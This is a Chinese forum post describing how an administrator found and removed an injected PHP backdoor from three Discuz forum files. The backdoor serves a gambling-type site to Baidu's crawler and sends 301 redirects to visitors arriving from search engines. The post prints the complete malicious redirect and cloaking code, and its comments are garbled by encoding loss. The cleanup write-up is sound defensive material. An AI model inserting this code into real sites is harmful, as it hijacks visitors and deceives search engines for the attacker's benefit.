症状分析:
1、直接输入域名访问论坛无任何异常和问题,查看源码也看不到异常代码;
2、但百度搜索论坛后,点击搜索结果就自动会跳转到一个www.qianyi.hk的违法网站;
清除木马步骤:
1、经过对论坛所有文件进行比对查询后,发现以下三个文件被加入了木马:
/source/function/function_forum.php
/source/function/function_home.php
/source/function/function_portal.php
具体的木马代码如下:
- <?php
- ################################################
- # ??????????inc?include?????? #
- # ??require_once('?????');???? #
- # ??????? #
- ################################################
- if (ereg("http://www.baidu.com/search/spider.htm", $_SERVER["HTTP_USER_AGENT"])) {
- //?????????????????????
- /*
- Header("HTTP/1.1 301 Moved Permanently");
- Header("Location: http://www.zg909.com/");
- //??301???301???????????????????????????URL???...
- */
- $file = file_get_contents('http://www.qianyi.hk/');
- echo $file;//????????
- exit;
- }
- //????
- if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//??????baidu.com
- Header("HTTP/1.1 301 Moved Permanently");//301????????301??????301?????????????
- Header("Location: http://www.qianyi.hk/");//??
- exit;
- }
- if(stristr ($_SERVER['HTTP_REFERER'],"soso.com")) {//??????baidu.com
- Header("HTTP/1.1 301 Moved Permanently");//301????????301??????301?????????????
- Header("Location: http://www.qianyi.hk/");//??
- exit;
- }
- if(stristr ($_SERVER['HTTP_REFERER'],"so.com")) {//??????baidu.com
- Header("HTTP/1.1 301 Moved Permanently");//301????????301??????301?????????????
- Header("Location: http://www.qianyi.hk/");//??
- exit;
- }
- if(stristr ($_SERVER['HTTP_REFERER'],"sogou.com")) {//??????baidu.com
- Header("HTTP/1.1 301 Moved Permanently");//301????????301??????301?????????????
- Header("Location: http://www.qianyi.hk/");//??
- exit;
- }
- if(stristr ($_SERVER['HTTP_REFERER'],"google.com")) {//??????baidu.com
- Header("HTTP/1.1 301 Moved Permanently");//301????????301??????301?????????????
- Header("Location: http://www.qianyi.hk/");//??
- exit;
- }
- ?>
复制代码
从代码可以看出来,为什么我们百度搜索结果点击后会跳转到这个垃圾网站了,现在要做的,就是用dz的源文件,覆盖掉这几个文件即可。
|